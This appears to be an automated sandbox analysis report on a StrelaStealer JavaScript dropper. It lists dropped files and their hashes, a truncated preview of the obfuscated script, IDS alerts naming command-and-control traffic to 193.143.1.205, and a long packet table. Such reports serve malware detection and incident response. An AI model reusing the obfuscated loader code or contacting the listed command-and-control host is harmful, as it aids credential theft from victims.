Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\981ab51f-81ee-4ecb-812e-da500b5dee6b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d9ff6386-1bea-42ae-aaa8-4165fd5b052f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15547), with CRLF line terminators
Entropy (8bit):	4.91964983881825
TrID:
File name:	18058273772912511871.js
File size:	19'105 bytes
MD5:	ce73d0348536425c2ed83974a3ae20ff
SHA1:	4a9d78c1fbaf5397d921e77ef825644861e82583
SHA256:	ad61e0006b525444172e92d06c145a24cc3a37bd9e933b494ebf2108532f3028
SHA512:	8ce44667583b722c406a6b5015d93e051b2f5061ed7360c0a6130eefb8acc93208e2a57bd66b0c43152f79c898d09ca00ff589f1bde3ee735bfca3d3e52e2110
SSDEEP:	192:uM5OtQe4xGute2ivOVaQHjh0+jizv0EVbBJzgh6M112LDCi:n5Oie4xGutmmxlOv0wFJeS
TLSH:	7682A7C2C644DB1207EB6BF090C70452A3DD45DDEAAA05DB7E41D8BA3A609F704D6B74
File Content Preview:	function ixmdhglv(){ljmhsc=[1031,3079,5127,4103,2055,3072];var zgczwbdei=this[usxkohlbi+fhrdbuux+sypevh+rmevsapu+lpclngnf+kkopahq+iiqefo+usdlhmp](this[inkwjjn+yhhtu+dujfweoxu+sypevh+whvhhimek+usxkohlbi+usdlhmp][zqcyt+sypevh+lpclngnf+fhrdbuux+usdlhmp+lpcln

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:08:58.238311+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T06:08:58.238311+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T06:09:00.881922+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:08:57.464922905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:57.469773054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:57.469837904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:57.472812891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:57.477615118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.238189936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.238210917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.238224030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.238270044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.238281965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.238293886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.238307953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.238311052 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.238323927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.238389015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.238394022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.238408089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.238468885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.243196964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.280934095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.280947924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.281034946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.358844995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.358925104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.358937979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.358949900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.358963966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.358989954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.359035015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.359199047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.359246016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.359251022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.359263897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.359294891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.359311104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.359333038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.359364033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.360099077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.360115051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.360138893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.360152006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.360161066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.360168934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.360192060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.360955954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.360968113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.360980034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.360996962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.361032009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.361038923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.361046076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.361083031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.361773014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.411117077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.411148071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.411186934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.447866917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.447880030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.447943926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.447953939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.447964907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.447998047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.479167938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.479181051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.479192019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.479233980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.479355097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.479403973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.479414940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.479448080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.479480982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.479608059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.479666948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.479680061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.479932070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.479944944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.479957104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.479980946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.479988098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.479996920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.480010033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.480012894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.480051041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.480465889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.480490923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.480592966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.480604887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.480618000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.480648041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.480659962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.480671883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.480823040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.481419086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.481434107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.481508017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.481519938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.481560946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.481600046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.481769085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.481810093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.481827021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.481870890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.481879950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.481914043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.482382059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.482445002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.482461929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.482475042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.482500076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.482530117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.482534885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.482549906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.482563019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.482594013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.482620955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.482665062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.483386993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.483400106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.483416080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.483422041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.483428955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.483831882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.498193026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.498204947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.498234034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.498244047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.498277903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.498348951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.534621000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.534634113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.534683943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.568476915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.568500996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.568514109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.568526030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.568526983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.568542957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.568564892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.568583965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.599651098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.599672079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.599688053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.599700928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.599714041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.599714994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.599744081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.599828005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.599839926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.599868059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.599953890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.599967957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.599978924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.599994898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.600009918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.600083113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.600101948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.600116014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.600136995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.600141048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.600157022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.600178003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.600421906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.600459099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.600461006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.600492001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.600534916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.600543022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.600572109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.600610971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.600701094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.600716114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.600727081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.600754976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.600785971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.600800991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.600814104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.600825071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.600856066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.601166964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.601178885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.601191044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.601213932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.601226091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.601238012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.601255894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.601283073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.601341009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.601357937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.601371050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.601385117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.601393938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.601401091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.601413012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.601424932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.601449013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.601994038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.602008104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.602020025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.602030993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.602045059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.602076054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.602097988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.602111101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.602122068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.602135897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.602147102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.602174044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.602190971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.602202892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.602214098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.602226019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.602241039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.602268934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.602893114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.602936983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.602950096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.602973938 CET	49704	80	192.168.2.8	193.143.1.205
